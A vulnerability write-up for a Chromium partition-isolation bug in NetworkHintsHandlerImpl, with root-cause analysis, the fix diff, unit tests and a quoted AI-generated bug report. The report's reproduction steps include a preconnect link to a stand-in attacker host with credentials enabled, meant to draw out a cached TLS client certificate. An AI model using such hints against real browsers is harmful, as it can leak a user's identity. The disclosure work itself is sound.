CVE-2026-79031
Overview
Background
- `NetworkHintsHandlerImpl`
- This is the browser-side Mojo implementation of
network_hints::mojom::NetworkHintsHandler. It receives renderer-initiatedPrefetchDNSandPreconnecthints, for example from<link rel=dns-prefetch>or<link rel=preconnect>, and forwards them tocontent::PreconnectManager. - `StoragePartition` / `StoragePartitionConfig`
- A
StoragePartitionis an isolated bundle of cookies, cache and storage with its ownNetworkContext. Guest contents such as<webview>and other non-default-partition frames run in their own partition, which is often in-memory. - `storage_partition_config` argument
PreconnectManager::StartPreresolveHostsandStartPreconnectUrlaccept aconst StoragePartitionConfig*. According to the commit message, passingnullptrmakes the manager fall back to the profile’s default partition’sNetworkContext.
Root Cause Analysis
NetworkHintsHandlerImpl forwarded DNS-prefetch and preconnect hints from any frame with /*storage_partition_config=*/nullptr. PreconnectManager therefore issued the resulting DNS resolutions and socket preconnects through the profile’s default StoragePartition NetworkContext, whichever partition the requesting frame actually lived in. This broke the invariant that network activity started by a frame stays inside that frame’s partition. A guest or other non-default-partition frame could make the default partition do network work, possibly with allow_credentials set, and leave state behind in the default partition’s DNS cache and socket pools (inferred).
The fix looks up render_frame_host->GetStoragePartition()->GetConfig() and passes a pointer to that config in both calls, so the hint runs against the frame’s own NetworkContext. The new unit tests check that Pointee(kGuestConfig) reaches StartPreconnectUrl/StartPreresolveHosts for a guest frame and that the default config is used for a normal frame.
StoragePartitionConfig explicitly.Attack Path
- Content runs in a non-default partition
Attacker-controlled web content is loaded in a frame whose
StoragePartitionis not the default, such as a<webview>guest created by an app or extension, as in the test’sSiteInstance::CreateForGuest. Ordinary tabs use the default partition and are unaffected. - Issue network hints
The page emits DNS-prefetch or preconnect hints (inferred: through standard resource-hint markup), which reach
NetworkHintsHandlerImpl::PrefetchDNSorPreconnectover Mojo. - Hints cross the partition boundary
Before the patch, the handler passed
nullptras the config, soPreconnectManagerresolved hosts and opened connections, credentialed ifallow_credentialswas set, in the default profile partition’sNetworkContext. - Observe or influence default-partition state Warmed DNS entries or sockets in the default partition could then be visible to or affect other contexts, for example through timing, or the hints could bypass partition-specific network configuration (inferred).
Impact Assessment
StoragePartition could have the browser perform DNS and preconnect activity in the profile’s default partition, which weakens partition isolation. Exploitation requires an embedding scenario that uses a non-default partition, such as <webview>, and any resulting cross-partition tracking or information leak is (inferred).Changed Functions
| Function | Change | Notes |
|---|---|---|
MockPreconnectManagerchrome/browser/predictors/network_hints_handler_impl_unittest.cc |
modified | |
NetworkHintsHandlerImplTestchrome/browser/predictors/network_hints_handler_impl_unittest.cc |
modified | |
TEST_Fchrome/browser/predictors/network_hints_handler_impl_unittest.cc |
modified |
Files Changed
chrome/browser/predictors/loading_predictor.hchrome/browser/predictors/network_hints_handler_impl.ccchrome/browser/predictors/BUILD.gnchrome/browser/predictors/network_hints_handler_impl_unittest.cc
Audit Directions
- Null-means-default partition parametersFind other callers of
PreconnectManager,GetDefaultStoragePartition()or APIs that take an optionalStoragePartitionConfig*/NetworkContextand passnullptrfor frame-initiated work. Prefetch, prerender, speculation rules andLoadingPredictorhints are good candidates. - Guest and isolated partitionsAudit browser-side handlers bound per
RenderFrameHost(network hints, the Reporting API, NEL, connection warming) to confirm they derive theNetworkContextfromrender_frame_host->GetStoragePartition()rather than from theProfile. - Cross-partition shared cachesCheck whether host cache and socket pool state, together with
NetworkAnonymizationKey, can be warmed from one partition and observed from another when the key matches but theNetworkContextdiffers.
Patch
From 40412384131694389168cb37ae246b385abcfbf9 Mon Sep 17 00:00:00 2001 From: Jiacheng Guo <[email protected]> Date: Thu, 02 Jul 2026 00:01:05 -0700 Subject: [PATCH] [predictors] Route NetworkHintsHandler through frame partition NetworkHintsHandlerImpl forwarded renderer-initiated preconnect and DNS-prefetch hints to PreconnectManager with a null storage_partition_config, so PreconnectManager fell back to the profile's default StoragePartition NetworkContext regardless of which StoragePartition the requesting frame lives in. Pass the frame's StoragePartitionConfig instead, so hints from guest / non-default-partition frames are issued against their own NetworkContext. Adds unit-test coverage for NetworkHintsHandlerImpl that asserts the frame's StoragePartitionConfig is propagated for both default- and non-default-partition frames. Bug: 503472696 Change-Id: I21c113847486377f1ee259ddd3ec3aca80d42a63 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8023245 Commit-Queue: Jiacheng Guo <[email protected]> Reviewed-by: Lingqi Chi <[email protected]> Cr-Commit-Position: refs/heads/main@{#1655924} --- diff --git a/chrome/browser/predictors/loading_predictor.h b/chrome/browser/predictors/loading_predictor.h index e1caf2c..6004b87 100644 --- a/chrome/browser/predictors/loading_predictor.h +++ b/chrome/browser/predictors/loading_predictor.h @@ -241,6 +241,7 @@ friend class LoadingPredictorTabHelperTest; friend class LoadingPredictorTabHelperTestCollectorTest; friend class LCPPTimingPredictorTestBase; + friend class NetworkHintsHandlerImplTest; FRIEND_TEST_ALL_PREFIXES(LoadingPredictorTest, TestMainFrameResponseCancelsHint); FRIEND_TEST_ALL_PREFIXES(LoadingPredictorTest, diff --git a/chrome/browser/predictors/network_hints_handler_impl.cc b/chrome/browser/predictors/network_hints_handler_impl.cc index 65ec2a7d..ab4cb30 100644 --- a/chrome/browser/predictors/network_hints_handler_impl.cc +++ b/chrome/browser/predictors/network_hints_handler_impl.cc @@ -14,6 +14,7 @@ #include "content/public/browser/preconnect_manager.h" #include "content/public/browser/render_frame_host.h" #include "content/public/browser/render_process_host.h" +#include "content/public/browser/storage_partition.h" #include "mojo/public/cpp/bindings/self_owned_receiver.h" #include "net/base/isolation_info.h" @@ -61,9 +62,11 @@ } base::UnguessableToken network_restrictions_id = render_frame_host->GetNetworkRestrictionsID(); + const content::StoragePartitionConfig& storage_partition_config = + render_frame_host->GetStoragePartition()->GetConfig(); preconnect_manager_->StartPreresolveHosts( gurls, GetPendingNetworkAnonymizationKey(render_frame_host), - kNetworkHintsTrafficAnnotation, /*storage_partition_config=*/nullptr, + kNetworkHintsTrafficAnnotation, &storage_partition_config, network_restrictions_id); } @@ -86,10 +89,12 @@ base::UnguessableToken network_restrictions_id = render_frame_host->GetNetworkRestrictionsID(); + const content::StoragePartitionConfig& storage_partition_config = + render_frame_host->GetStoragePartition()->GetConfig(); preconnect_manager_->StartPreconnectUrl( url.GetURL(), allow_credentials, GetPendingNetworkAnonymizationKey(render_frame_host), - kNetworkHintsTrafficAnnotation, /*storage_partition_config=*/nullptr, + kNetworkHintsTrafficAnnotation, &storage_partition_config, network_restrictions_id, /*keepalive_config=*/std::nullopt, mojo::NullRemote()); } diff --git a/chrome/browser/predictors/network_hints_handler_impl_unittest.cc b/chrome/browser/predictors/network_hints_handler_impl_unittest.cc new file mode 100644 index 0000000..31adc6b5 --- /dev/null +++ b/chrome/browser/predictors/network_hints_handler_impl_unittest.cc @@ -0,0 +1,191 @@ +// Copyright 2026 The Chromium Authors +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +#include "chrome/browser/predictors/network_hints_handler_impl.h" + +#include <memory> +#include <optional> +#include <utility> +#include <vector> + +#include "base/memory/raw_ptr.h" +#include "base/memory/weak_ptr.h" +#include "chrome/browser/predictors/loading_predictor.h" +#include "chrome/browser/predictors/loading_predictor_factory.h" +#include "chrome/test/base/chrome_render_view_host_test_harness.h" +#include "components/network_hints/common/network_hints.mojom.h" +#include "content/public/browser/preconnect_manager.h" +#include "content/public/browser/render_frame_host.h" +#include "content/public/browser/site_instance.h" +#include "content/public/browser/storage_partition.h" +#include "content/public/browser/storage_partition_config.h" +#include "content/public/browser/web_contents.h" +#include "content/public/test/web_contents_tester.h" +#include "mojo/public/cpp/bindings/remote.h" +#include "testing/gmock/include/gmock/gmock.h" +#include "testing/gtest/include/gtest/gtest.h" +#include "url/gurl.h" +#include "url/scheme_host_port.h" + +namespace predictors { + +using ::testing::_; +using ::testing::Pointee; +using ::testing::StrictMock; + +namespace { + +class MockPreconnectManager : public content::PreconnectManager { + public: + MockPreconnectManager() = default; + ~MockPreconnectManager() override = default; + + MOCK_METHOD(void, + Start, + (const GURL&, + std::vector<content::PreconnectRequest>, + net::NetworkTrafficAnnotationTag), + (override)); + MOCK_METHOD(void, + StartPreresolveHost, + (const GURL&, + const net::NetworkAnonymizationKey&, + net::NetworkTrafficAnnotationTag, + const content::StoragePartitionConfig*, + const base::UnguessableToken&), + (override)); + MOCK_METHOD(void, + StartPreresolveHosts, + (const std::vector<GURL>&, + const net::NetworkAnonymizationKey&, + net::NetworkTrafficAnnotationTag, + const content::StoragePartitionConfig*, + const base::UnguessableToken&), + (override)); + MOCK_METHOD( + void, + StartPreconnectUrl, + (const GURL&, + bool, + net::NetworkAnonymizationKey, + net::NetworkTrafficAnnotationTag, + const content::StoragePartitionConfig*, + const base::UnguessableToken&, + std::optional<net::ConnectionKeepAliveConfig>, + mojo::PendingRemote<network::mojom::ConnectionChangeObserverClient>), + (override)); + MOCK_METHOD(void, Stop, (const GURL&), (override)); + MOCK_METHOD(void, + SetNetworkContextForTesting, + (network::mojom::NetworkContext*), + (override)); + MOCK_METHOD(void, SetObserverForTesting, (Observer*), (override)); + + base::WeakPtr<content::PreconnectManager> GetWeakPtr() override { + return weak_ptr_factory_.GetWeakPtr(); + } + + private: + base::WeakPtrFactory<content::PreconnectManager> weak_ptr_factory_{this}; +}; + +} // namespace + +class NetworkHintsHandlerImplTest : public ChromeRenderViewHostTestHarness { + public: + void SetUp() override { + ChromeRenderViewHostTestHarness::SetUp(); + auto* loading_predictor = LoadingPredictorFactory::GetForProfile(profile()); + ASSERT_TRUE(loading_predictor); + auto mock_preconnect_manager = + std::make_unique<StrictMock<MockPreconnectManager>>(); + mock_preconnect_manager_ = mock_preconnect_manager.get(); + loading_predictor->set_mock_preconnect_manager( + std::move(mock_preconnect_manager)); + } + + void TearDown() override { + mock_preconnect_manager_ = nullptr; + ChromeRenderViewHostTestHarness::TearDown(); + } + + mojo::Remote<network_hints::mojom::NetworkHintsHandler> CreateHandlerForFrame( + content::RenderFrameHost* frame) { + mojo::Remote<network_hints::mojom::NetworkHintsHandler> remote; + NetworkHintsHandlerImpl::Create(frame, remote.BindNewPipeAndPassReceiver()); + return remote; + } + + std::unique_ptr<content::WebContents> CreateGuestWebContents( + const content::StoragePartitionConfig& config) { + scoped_refptr<content::SiteInstance> guest_instance = + content::SiteInstance::CreateForGuest(profile(), config); + std::unique_ptr<content::WebContents> guest_contents = + content::WebContentsTester::CreateTestWebContents(profile(), + guest_instance); + content::WebContentsTester::For(guest_contents.get()) + ->NavigateAndCommit(GURL("https://example.com/")); + return guest_contents; + } + + protected: + raw_ptr<StrictMock<MockPreconnectManager>> mock_preconnect_manager_ = nullptr; +}; + +TEST_F(NetworkHintsHandlerImplTest, PreconnectUsesFrameStoragePartition) { + const content::StoragePartitionConfig kGuestConfig = + content::StoragePartitionConfig::Create(profile(), "test_domain", + "test_name", /*in_memory=*/true); + std::unique_ptr<content::WebContents> guest_contents = + CreateGuestWebContents(kGuestConfig); + content::RenderFrameHost* frame = guest_contents->GetPrimaryMainFrame(); + ASSERT_EQ(kGuestConfig, frame->GetStoragePartition()->GetConfig()); + + auto handler = CreateHandlerForFrame(frame); + + const url::SchemeHostPort kTarget(GURL("https://target.example/")); + EXPECT_CALL(*mock_preconnect_manager_, + StartPreconnectUrl(kTarget.GetURL(), true, _, _, + Pointee(kGuestConfig), _, _, _)); + handler->Preconnect(kTarget, /*allow_credentials=*/true); + handler.FlushForTesting(); +} + +TEST_F(NetworkHintsHandlerImplTest, PrefetchDNSUsesFrameStoragePartition) { + const content::StoragePartitionConfig kGuestConfig = + content::StoragePartitionConfig::Create(profile(), "test_domain", + "test_name", /*in_memory=*/true); + std::unique_ptr<content::WebContents> guest_contents = + CreateGuestWebContents(kGuestConfig); + content::RenderFrameHost* frame = guest_contents->GetPrimaryMainFrame(); + ASSERT_EQ(kGuestConfig, frame->GetStoragePartition()->GetConfig()); + + auto handler = CreateHandlerForFrame(frame); + + const url::SchemeHostPort kTarget(GURL("https://target.example/")); + EXPECT_CALL(*mock_preconnect_manager_, + StartPreresolveHosts(std::vector<GURL>{kTarget.GetURL()}, _, _, + Pointee(kGuestConfig), _)); + handler->PrefetchDNS({kTarget}); + handler.FlushForTesting(); +} + +TEST_F(NetworkHintsHandlerImplTest, + PreconnectUsesDefaultStoragePartitionForDefaultFrame) { + content::RenderFrameHost* frame = web_contents()->GetPrimaryMainFrame(); + const content::StoragePartitionConfig& expected_config = + frame->GetStoragePartition()->GetConfig(); + ASSERT_TRUE(expected_config.is_default()); + + auto handler = CreateHandlerForFrame(frame); + + const url::SchemeHostPort kTarget(GURL("https://target.example/")); + EXPECT_CALL(*mock_preconnect_manager_, + StartPreconnectUrl(kTarget.GetURL(), false, _, _, + Pointee(expected_config), _, _, _)); + handler->Preconnect(kTarget, /*allow_credentials=*/false); + handler.FlushForTesting(); +} + +} // namespace predictors diff --git a/chrome/browser/predictors/BUILD.gn b/chrome/browser/predictors/BUILD.gn index bf570e9..f6377bb0 100644 --- a/chrome/browser/predictors/BUILD.gn +++ b/chrome/browser/predictors/BUILD.gn @@ -148,6 +148,7 @@ "loading_predictor_tab_helper_unittest.cc", "loading_predictor_unittest.cc", "loading_stats_collector_unittest.cc", + "network_hints_handler_impl_unittest.cc", "perform_network_context_prefetch_unittest.cc", "prefetch_manager_unittest.cc", "resource_prefetch_predictor_tables_unittest.cc",
Regression Test / PoC
diff --git a/chrome/browser/predictors/network_hints_handler_impl_unittest.cc b/chrome/browser/predictors/network_hints_handler_impl_unittest.cc
new file mode 100644
index 0000000..31adc6b5
--- /dev/null
+++ b/chrome/browser/predictors/network_hints_handler_impl_unittest.cc
@@ -0,0 +1,191 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "chrome/browser/predictors/network_hints_handler_impl.h"
+
+#include <memory>
+#include <optional>
+#include <utility>
+#include <vector>
+
+#include "base/memory/raw_ptr.h"
+#include "base/memory/weak_ptr.h"
+#include "chrome/browser/predictors/loading_predictor.h"
+#include "chrome/browser/predictors/loading_predictor_factory.h"
+#include "chrome/test/base/chrome_render_view_host_test_harness.h"
+#include "components/network_hints/common/network_hints.mojom.h"
+#include "content/public/browser/preconnect_manager.h"
+#include "content/public/browser/render_frame_host.h"
+#include "content/public/browser/site_instance.h"
+#include "content/public/browser/storage_partition.h"
+#include "content/public/browser/storage_partition_config.h"
+#include "content/public/browser/web_contents.h"
+#include "content/public/test/web_contents_tester.h"
+#include "mojo/public/cpp/bindings/remote.h"
+#include "testing/gmock/include/gmock/gmock.h"
+#include "testing/gtest/include/gtest/gtest.h"
+#include "url/gurl.h"
+#include "url/scheme_host_port.h"
+
+namespace predictors {
+
+using ::testing::_;
+using ::testing::Pointee;
+using ::testing::StrictMock;
+
+namespace {
+
+class MockPreconnectManager : public content::PreconnectManager {
+ public:
+ MockPreconnectManager() = default;
+ ~MockPreconnectManager() override = default;
+
+ MOCK_METHOD(void,
+ Start,
+ (const GURL&,
+ std::vector<content::PreconnectRequest>,
+ net::NetworkTrafficAnnotationTag),
+ (override));
+ MOCK_METHOD(void,
+ StartPreresolveHost,
+ (const GURL&,
+ const net::NetworkAnonymizationKey&,
+ net::NetworkTrafficAnnotationTag,
+ const content::StoragePartitionConfig*,
+ const base::UnguessableToken&),
+ (override));
+ MOCK_METHOD(void,
+ StartPreresolveHosts,
+ (const std::vector<GURL>&,
+ const net::NetworkAnonymizationKey&,
+ net::NetworkTrafficAnnotationTag,
+ const content::StoragePartitionConfig*,
+ const base::UnguessableToken&),
+ (override));
+ MOCK_METHOD(
+ void,
+ StartPreconnectUrl,
+ (const GURL&,
+ bool,
+ net::NetworkAnonymizationKey,
+ net::NetworkTrafficAnnotationTag,
+ const content::StoragePartitionConfig*,
+ const base::UnguessableToken&,
+ std::optional<net::ConnectionKeepAliveConfig>,
+ mojo::PendingRemote<network::mojom::ConnectionChangeObserverClient>),
+ (override));
+ MOCK_METHOD(void, Stop, (const GURL&), (override));
+ MOCK_METHOD(void,
+ SetNetworkContextForTesting,
+ (network::mojom::NetworkContext*),
+ (override));
+ MOCK_METHOD(void, SetObserverForTesting, (Observer*), (override));
+
+ base::WeakPtr<content::PreconnectManager> GetWeakPtr() override {
+ return weak_ptr_factory_.GetWeakPtr();
+ }
+
+ private:
+ base::WeakPtrFactory<content::PreconnectManager> weak_ptr_factory_{this};
+};
+
+} // namespace
+
+class NetworkHintsHandlerImplTest : public ChromeRenderViewHostTestHarness {
+ public:
+ void SetUp() override {
+ ChromeRenderViewHostTestHarness::SetUp();
+ auto* loading_predictor = LoadingPredictorFactory::GetForProfile(profile());
+ ASSERT_TRUE(loading_predictor);
+ auto mock_preconnect_manager =
+ std::make_unique<StrictMock<MockPreconnectManager>>();
+ mock_preconnect_manager_ = mock_preconnect_manager.get();
+ loading_predictor->set_mock_preconnect_manager(
+ std::move(mock_preconnect_manager));
+ }
+
+ void TearDown() override {
+ mock_preconnect_manager_ = nullptr;
+ ChromeRenderViewHostTestHarness::TearDown();
+ }
+
+ mojo::Remote<network_hints::mojom::NetworkHintsHandler> CreateHandlerForFrame(
+ content::RenderFrameHost* frame) {
+ mojo::Remote<network_hints::mojom::NetworkHintsHandler> remote;
+ NetworkHintsHandlerImpl::Create(frame, remote.BindNewPipeAndPassReceiver());
+ return remote;
+ }
+
+ std::unique_ptr<content::WebContents> CreateGuestWebContents(
+ const content::StoragePartitionConfig& config) {
+ scoped_refptr<content::SiteInstance> guest_instance =
+ content::SiteInstance::CreateForGuest(profile(), config);
+ std::unique_ptr<content::WebContents> guest_contents =
+ content::WebContentsTester::CreateTestWebContents(profile(),
+ guest_instance);
+ content::WebContentsTester::For(guest_contents.get())
+ ->NavigateAndCommit(GURL("https://example.com/"));
+ return guest_contents;
+ }
+
+ protected:
+ raw_ptr<StrictMock<MockPreconnectManager>> mock_preconnect_manager_ = nullptr;
+};
+
+TEST_F(NetworkHintsHandlerImplTest, PreconnectUsesFrameStoragePartition) {
+ const content::StoragePartitionConfig kGuestConfig =
+ content::StoragePartitionConfig::Create(profile(), "test_domain",
+ "test_name", /*in_memory=*/true);
+ std::unique_ptr<content::WebContents> guest_contents =
+ CreateGuestWebContents(kGuestConfig);
+ content::RenderFrameHost* frame = guest_contents->GetPrimaryMainFrame();
+ ASSERT_EQ(kGuestConfig, frame->GetStoragePartition()->GetConfig());
+
+ auto handler = CreateHandlerForFrame(frame);
+
+ const url::SchemeHostPort kTarget(GURL("https://target.example/"));
+ EXPECT_CALL(*mock_preconnect_manager_,
+ StartPreconnectUrl(kTarget.GetURL(), true, _, _,
+ Pointee(kGuestConfig), _, _, _));
+ handler->Preconnect(kTarget, /*allow_credentials=*/true);
+ handler.FlushForTesting();
+}
+
+TEST_F(NetworkHintsHandlerImplTest, PrefetchDNSUsesFrameStoragePartition) {
+ const content::StoragePartitionConfig kGuestConfig =
+ content::StoragePartitionConfig::Create(profile(), "test_domain",
+ "test_name", /*in_memory=*/true);
+ std::unique_ptr<content::WebContents> guest_contents =
+ CreateGuestWebContents(kGuestConfig);
+ content::RenderFrameHost* frame = guest_contents->GetPrimaryMainFrame();
+ ASSERT_EQ(kGuestConfig, frame->GetStoragePartition()->GetConfig());
+
+ auto handler = CreateHandlerForFrame(frame);
+
+ const url::SchemeHostPort kTarget(GURL("https://target.example/"));
+ EXPECT_CALL(*mock_preconnect_manager_,
+ StartPreresolveHosts(std::vector<GURL>{kTarget.GetURL()}, _, _,
+ Pointee(kGuestConfig), _));
+ handler->PrefetchDNS({kTarget});
+ handler.FlushForTesting();
+}
+
+TEST_F(NetworkHintsHandlerImplTest,
+ PreconnectUsesDefaultStoragePartitionForDefaultFrame) {
+ content::RenderFrameHost* frame = web_contents()->GetPrimaryMainFrame();
+ const content::StoragePartitionConfig& expected_config =
+ frame->GetStoragePartition()->GetConfig();
+ ASSERT_TRUE(expected_config.is_default());
+
+ auto handler = CreateHandlerForFrame(frame);
+
+ const url::SchemeHostPort kTarget(GURL("https://target.example/"));
+ EXPECT_CALL(*mock_preconnect_manager_,
+ StartPreconnectUrl(kTarget.GetURL(), false, _, _,
+ Pointee(expected_config), _, _, _));
+ handler->Preconnect(kTarget, /*allow_credentials=*/false);
+ handler.FlushForTesting();
+}
+
+} // namespace predictors
Original Bug Report
StoragePartition isolation bypass in NetworkHintsHandler
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team. Please see go/chrome-ai-generated-security-bugs-faq for more information.
Overview: NetworkHintsHandlerImpl hardcodes a null StoragePartitionConfig when routing preconnect and DNS prefetch hints to the PreconnectManager. This causes requests originating from isolated contexts (like Isolated Web Apps or <webview> tags) to incorrectly execute using the default profile’s NetworkContext, potentially leaking cached TLS client certificates and exposing main profile proxy/DNS configurations to the isolated partition.
Affected files:
chrome/browser/predictors/network_hints_handler_impl.cccontent/browser/preloading/preconnect/preconnect_manager_impl.ccchrome/browser/chrome_browser_interface_binders.ccchrome/browser/chrome_content_browser_client_receiver_bindings.cc
Estimated timestamp from git blame: 2026-01-22
Summary
NetworkHintsHandlerImpl, which handles <link rel=preconnect> and <link rel=dns-prefetch> hints via Mojo, fails to respect the StoragePartition boundaries of the calling renderer. When passing the preconnect request to PreconnectManagerImpl, it unconditionally hardcodes the storage_partition_config argument to nullptr. This causes the preconnect logic to fall back to the BrowserContext’s default StoragePartition. Consequently, isolated contexts (such as Isolated Web Apps or custom <webview> partitions) perform network operations using the main browsing profile’s NetworkContext.
Technical Details
In chrome/browser/predictors/network_hints_handler_impl.cc, the Preconnect and PrefetchDNS methods receive requests from the renderer. When they pass these requests to the PreconnectManager, they explicitly pass a nullptr for the configuration:
// chrome/browser/predictors/network_hints_handler_impl.cc (line 92)
preconnect_manager_->StartPreconnectUrl(
url.GetURL(), allow_credentials,
GetPendingNetworkAnonymizationKey(render_frame_host),
kNetworkHintsTrafficAnnotation, /*storage_partition_config=*/nullptr,
// ...
The Mojo interface network_hints::mojom::NetworkHintsHandler is bound for every RenderFrameHost in chrome/browser/chrome_browser_interface_binders.cc without any StoragePartition filtering.
When PreconnectManagerImpl processes these jobs, it calls GetNetworkContext() to retrieve the appropriate network stack. Because the config is null, it defaults to the main profile:
// content/browser/preloading/preconnect/preconnect_manager_impl.cc (line 463-469)
auto* network_context =
browser_context_
->GetStoragePartition(
storage_partition_config
? *storage_partition_config
: content::StoragePartitionConfig::CreateDefault(
browser_context_))
->GetNetworkContext();
Security Impact
This is a potential bypass of StoragePartition isolation. While the renderer does not receive direct responses from these fire-and-forget hints, the bypass allows an isolated context to pollute and read from the main profile’s state:
- Client Certificate Leakage: If an isolated context issues a preconnect hint with
crossorigin="use-credentials",allow_credentialsis set totrue. The resulting preconnect uses the defaultNetworkContext, which will query itsSSLClientAuthCache. If the user has a cached TLS client certificate for the target origin in their main profile, it will be automatically presented to the attacker’s server during the preconnect handshake, leaking the user’s identity to the isolated partition. - Configuration Leakage/Pollution: Preconnects will follow the main profile’s proxy configuration and DNS settings (including DoH). They will also populate and utilize the main profile’s Host Cache.
Potential Reproduction Steps
Note: Our tooling agent does not run code; these are suggested steps to verify the issue.
- Create an Isolated Web App or a Chrome App with a
<webview partition="persist:attacker">to establish an isolatedStoragePartition. - Within the isolated context, inject a preconnect hint targeting an attacker-controlled HTTPS server:
<link rel="preconnect" href="https://attacker.com" crossorigin="use-credentials">. - Monitor the
chrome://net-exportlogs. Observe that the preconnect request and proxy/DNS lookups originate from the default profile’sNetworkContextrather than the isolated partition’s context. - If a TLS client certificate was previously authorized for
attacker.comin the main profile, the attacker’s server will receive the certificate during the TLS handshake initiated by the isolated context.
Suggested Fix
In chrome/browser/predictors/network_hints_handler_impl.cc, the PrefetchDNS and Preconnect methods should retrieve the StoragePartitionConfig from the calling RenderFrameHost and pass it to the PreconnectManager, rather than passing nullptr. This can be done via render_frame_host->GetStoragePartition()->GetConfig().
Evaluated with Chrome root at commit: 661452647ddb2827305122ff3273bd5dea403f09
Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.